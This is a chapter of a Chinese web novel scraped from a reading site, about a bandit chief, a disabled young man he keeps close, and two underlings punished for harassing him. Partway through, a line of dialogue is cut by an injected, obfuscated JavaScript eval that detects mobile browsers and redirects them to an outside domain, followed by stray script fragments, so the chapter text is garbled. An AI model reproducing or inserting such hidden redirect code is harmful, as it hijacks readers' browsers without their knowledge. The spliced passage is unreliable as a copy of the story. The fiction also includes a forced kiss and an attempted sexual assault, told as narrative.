默认冷灰
24号文字
方正启体

18.地牢

作者:问尘九日本书字数:K更新时间:
    仇二和那两个土寇离开后,薛鸷看着屋里那一地狼藉,颇有些头疼,他看向杵在沈琅旁边的金凤儿:“你去附近叫两个人过来,帮忙把屋子打扫干净。”


    金凤儿红着两只眼睛应了声,心里却仍有些“怦怦”的:“大爷,他们那几个好欺负人。”


    薛鸷觉得他瘪着嘴的样子有点丑,又有些好笑,于是轻笑道:“大爷知道了,快去吧。”


    金凤儿又低头看了眼沈琅,听见他说“你去吧”,这才委屈巴巴地走了。


    薛鸷把着木轮椅,将沈琅推到了一块还算干净的空地上,面上虽不显,可眼神却已上下将他扫了个遍,并没有看到有受伤的地儿,人也不像被惊着的模样。


    “没事吧?”他终于开口问。


    “有事。”


    沈琅话音刚落,薛鸷便伸手探向他身上那些看不见的地方,有些紧张道:“打着你哪儿了?”


    沈琅拍开他手:“有人欺负我,我心里委屈。”


    薛鸷愣了一下,随后才笑起来:“琅哥儿好惨呢。”


    “笑什么?”沈琅看向他,“是谁说我同他好,以后不会再叫我受委屈。”


    沈琅的语气其实并不是很好,薛鸷能听得出他绝不是在嗔怪,而是在质问,是在冲自己发火,但因为两人之间共同经历过的那些亲密时刻,他这种带着恼意的质问在薛鸷眼里反而像是在撒娇。


    “我错了,”他说,“这是最后一次。”


    顿了顿,又道:“我回去就罚那两个人去扫猪圈!”


    “那仇二呢?”


    薛鸷想了想,说:“明日晨练时我找茬打他一顿狠的,替你报仇。”


    沈琅心里其实并不信他的话,故意说这些,只是想让他心里能为今天这事多几分愧疚。


    他在这寨里待了有一段时日,知道这三个当家人关系极好、亲如手足。按理说凡是土匪大寨里,必然有两股及两股以上的势力相互较量,也总有面和心不合的当家人,除非是亲兄弟,否则没人甘愿一直当老二。


    可这天武寨却不一样,李云蔚只负责管理寨中资材和琐务,人又文弱,单拎出来的话在寨里并没有多少威慑力。那仇二倒是一条烈性疯犬,也有不少拥趸,可惜天生没长脑子,也只肯听薛鸷的话。


    三人之间没一点缝隙,沈琅就是有心想挑拨,也无处可插针。


    薛鸷见他还是不高兴,于是轻轻掐住他半边脸,复又用指腹推揉起来:“还生气吗?那你要我把他们怎样才高兴?”


    沈琅心里慢悠悠地晃过一句“要他们死”,可嘴上却只是说:“砸坏的东西要赔我。”


    “这个自然,”薛鸷笑道,“我赔你些更好的。”


    见沈琅表情略好些了,薛鸷才去打量他身上那件新衣裳,袍袄上金麒麟绣工精细,四处针脚齐整,里头那层是貂鼠皮,那日他翻遍了整间库房,也就堪堪攒出这么一件来。


    盯着沈琅的脸,薛鸷忽然没头没尾地说:“你穿它好看,红色很衬你。”


    说完却想起之前当卖掉的那一大箱笼的衣裳,里头随便一件袄子就能抵沈琅眼下身上这七八件。薛鸷知道这小瘫子落难前家里必是有万贯赀财,那样堆金叠玉养出来的一个小少爷,落到这里来,好像再怎么疼他都会叫他受委屈。


    “等过段时日寨子里有进账,我再叫人给你裁些更好的衣裳来穿。”


    沈琅抬眼看他,这人自己还穿着一身浆洗到泛白的粗棉布冬衣,仔细一看还有零星几块补丁,若非是他个高撑起来,只怕看上去还要显得更臃肿些。


    可听见这个人这样说,沈琅也并不受感动,只是浅淡地一笑,说:“好啊。”


    “对了,”薛鸷像是才想起来般,从袖子里摸出一条项链,那吊坠的形状像是鱼的鳞片,通体泛着并不很均匀的淡红色,用红绳串着,“前几日我去后山水塘里捉了些青鱼回来,给你弄了条链子挂——就数这一枚最大最漂亮。”


    项链被放在沈琅手心里,这吊坠摸上去手感莹润,还带着几丝薛鸷身上的体温:“这是什么?”


    “你不是夜里总发噩梦么,我们那儿的老一辈有个偏方,说把这个‘鱼惊石’给胆子小的小孩戴上能驱邪止惊。”


    “你磨的?”沈琅问他,“从青鱼肚子里取出来的么?我不要。”


    “不是肚子,是在咽喉那儿。”


    “那也很脏。”


    薛鸷:“哪脏了?我又磨又洗了好多遍,又特意用茉莉花油泡过了,不信你闻闻看。”


    沈琅不肯闻,但因为躲不过,还是被薛鸷强行将那项链拴在了脖子上,薛鸷盯着看了一会儿,又伸手将那吊坠掖进他衣领里,藏到了兔毛围领底下。


    “不许摘掉,”薛鸷言辞强硬道,“夜里也戴着才有效。”


    沈琅不发一言地看着他,薛鸷一看他这眼神,就知道这人绝不会乖乖听话。他伸手掰着这小瘫子的脸往前,将吻不吻的凑过去,语气恶狠狠道:“若是摘了我一定要你好看!”


    沈琅的目光在他唇上停了一瞬,然后才慢悠悠地抬起眼,问:“怎么好看?”


    这个人看上去好像很孱弱,事实上也的确如此,残废的下半身让他显得毫无攻击性,只要薛鸷想,似乎不必费多大的力气就可以拿走他的命。


    可偏偏就是这样的一个人,落过来的眼神却时不时地让他觉得有些脊背发毛。薛鸷总觉得那双眼睛里好像盛着股很强的欲,还不可亲近与亵渎的傲气,这些摸不着的“危险”鼓动着薛鸷的心跳,总是让他忍不住想要靠近。


    更靠近。


    他不自觉地咽了口口水,目光有些紧张地盯着这个人的眼睛。


    薛鸷终于还是忍不住低下头吻向他,兔毛围领瘙得他的下巴发痒,痒的他心里无端冒出了一团邪|火,于是他吻得更重了,呼吸也变得沉。


    沈琅似乎推了他一下,但薛鸷完全没有理会,依然粗鲁而急躁地掠夺着他的呼吸。直到舌头上忽然传来的疼痛才让薛鸷回过神来,松开沈琅后他的表情狰狞了片刻,才后知后觉地从痛意里尝到了一点血腥味。


    薛鸷本来想发火,可看见这个罪魁祸首的眼睛被自己吻得水涔涔的,唇瓣也变得红而莹润,于是又很心甘情愿地吞下了这口窝囊的血。


    “谁教你咬人的,”他低声抱怨他,“小狗一样。”


    “下次不许了。听到没有?”


    薛鸷想了想,忽然低下头用自己的脑门狠狠撞了一下沈琅的,他自己倒是只觉得有点儿疼,可却把沈琅砸得眼冒金星,沈琅捂住额头,终于开口:“你有病吧!”


    “谁让你总不说话。”


    ……


    聚义厅内。


    阿福和徐迎正跪在厅下空地上,厅堂之上是一整排神龛,摆放着十八路罗汉。


    薛鸷来时,李云蔚早已经到了,仇二直挺挺地在神龛前头跪着,薛鸷只当没看见他,掀袍便往李云蔚身旁坐下。


    方才赶去沈琅那儿的路上,他便已经听那名前去给他通风报信的小土寇说了来龙去脉,他早知仇二这人心浮气躁,又是个直肠子,别人随口一煽动,他便没心眼地往坑里跳,因此特意在他身边暗插了几个眼线,就怕发生今日这样的事。


    地上那两人头把埋得极低,薛鸷看上去也并不像要发怒的样子,坐下来先是慢悠悠地喝了盏茶,然后才开口道:“你们自己说说,自己犯了什么错。”


    两人终于微抬起头,私下里又悄悄地对视了一眼,先开口说话的人是阿福:“回大爷话,我们、我们明知道二爷不喜欢沈小师爷,不该在他耳边添油加醋地说小师爷和金凤儿的坏话,惹得二爷发火。”


    说完他用肘子戳了徐迎一下,示意他说话。


    徐迎忙朝上首磕了个头,然后才畏畏缩缩道:“回大爷……我们心里就算看不惯金凤儿,也不该在背地里同二爷搬弄是非,更不该跟去打砸东西。”


    薛鸷笑了笑:“只这些吗?”


    阿福眼神闪烁,顿了一顿,才低声道:“那日我们也很不该……也是被鬼迷了心窍、油糊住了脑子,总之……也不该去柴火棚里戏弄沈小师爷。”


    “戏弄?”薛鸷往仇二那边看了眼,“什么戏弄?”


    仇二感受到薛鸷的目光,立即粗声粗气骂道:“这两个小狗|□□的,成日里跟在我后头,做了那等偷鸡摸狗的事,却把我瞒得铁桶一般,真是丢我的脸!大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15119150|163696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哥,你只管把他俩打杀了,免得我日后再看见这两人又犯恶心!”


    薛鸷听他们说着,心里隐约有了些猜测,他看向底下了两人:“你们欺负沈琅了?”


    阿福连忙道:“这都是误会大爷!我们当时是在寨子里呆久了,心里寂寞,那日到那里去,也不过只是想陪沈小师爷说几句话,至多也就是造了些口业……”


    徐迎爬到李云蔚脚边,红着眼叫他:“三爷,您那日不是也看见了吗,求您替我们俩说说话啊!”


    这三位当家里,也只李云蔚平日里是最好相与的,那日的事虽遭他撞破,可后头他们去领了罚,也没听说李云蔚有和再谁提起过此事。


    薛鸷又看向李云蔚。


    李云蔚把腿从徐迎怀里抽开:“干什么呢?大爷训话,给我好好跪着。”


    徐迎连忙又跪了回去。


    “怎么回事?”薛鸷问他。


    李云蔚捏着眉心揉了揉,而后道:“那日郑婆婆家的宝儿急急忙忙地来找我,说柴火棚里有坏人进去了,我跟过去一看,又喊了一声,就看见这两人神色古怪地出来了。我猜他们是想欺负沈琅,只是未遂,我便只罚他们一人去领了三棍。”


    薛鸷没说话。


    “我那日进去看过了,沈琅身上衣裳好好的,”李云蔚又补充道,“他们应该还没来得及做什么。”


    底下阿福忙道:“是,是!千真万确,我们连他一根毛都没碰,沈小师爷到底是个男人,我们能做什么?至多是看他长得好看,言语调戏几句罢了,并没有其他的坏心。”


    薛鸷没什么反应,只是沉默着,然后突然抓住手边的茶盏往那两人身上一摔。


    被砸中的阿福立即发出了一声哀叫:“大爷!”


    薛鸷冷笑着叫仇二:“老二,拿他们下地牢!”


    阿福反应略快些,也顾不得地上的瓷渣碎片,跪着膝行到薛鸷面前:“饶命啊大爷,我们是一时猪油蒙了心,您饶过我们这回,我们以后再不敢了……”


    后头的徐迎脑子里“轰”的一声,宛如被雷劈中,方才薛鸷没来时,他心里悄悄琢磨着,这事最严重的也就是罚些银子、打几棍子,哪曾想到薛鸷竟会叫他们下地牢。


    “大爷、大爷……”徐迎哭着道,“那件事都是阿福怂恿我,我不想的,今天这事也是他叫我那样对二爷说的,那日之后,阿福他一直对那个沈琅怀恨在心,我是耳根子软,才听了他的。”


    阿福闻言扭过头,恶狠狠地瞪了他一眼:“徐迎你放什么屁,那天先要解腰带的分明是你!”


    薛鸷冷着脸偏头叫仇二:“老二!”


    仇二终于起身,又把门口站岗的两个小土寇叫进来,连拉带拽地把这两个又哭又骂的人给带走了。


    李云蔚看他脸色,开口劝道:“上山的人,哪个心里是很干净的?在山上憋得狠了,心里难免变态,其实拉他们出去恨打一顿,长了记性便是了,你何必这样动怒?”


    薛鸷:“沈琅那事先不提,你知道老二那性子,说好听点是急性,说白了就是蠢,那两人现在敢教唆他挑事,焉知后头不会挑拨他做更坏的事。”


    “这也算了,那阿福方才在老二屋里,不仅煽动他去教训沈琅,话里话外还要仇二与我离心,这种人留着迟早是个祸害。”


    李云蔚听见后边那些话,脸色也冷了下来:“那是很该死。”


    说话间的功夫,地上那些碎瓷片已经被小土寇清干净了,只留下一块被茶水洇湿的痕迹。


    李云蔚盯着那块水渍看了一会儿,然后才玩笑似的开口:“你近来……和沈琅会不会走得太近了些?”


    他在这天武寨中虽然行三,可实际上今年已经二十有七,比薛鸷和仇二的年岁都要大。仇二那傻愣子看不出来,可他却把薛鸷近日的一举一动都看在眼里。


    薛鸷顿了顿,才轻飘飘地反问:“……有么?”


    “是他总缠着我,我陪他玩玩而已。”薛鸷说着摸了一下鼻尖。


    李云蔚怀疑地:“真的?他缠你吗?”


    薛鸷:“不然呢?还能是我缠他么?怪可怜见的一个小病秧子,我拿他当弟弟看罢了,你别想太多了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)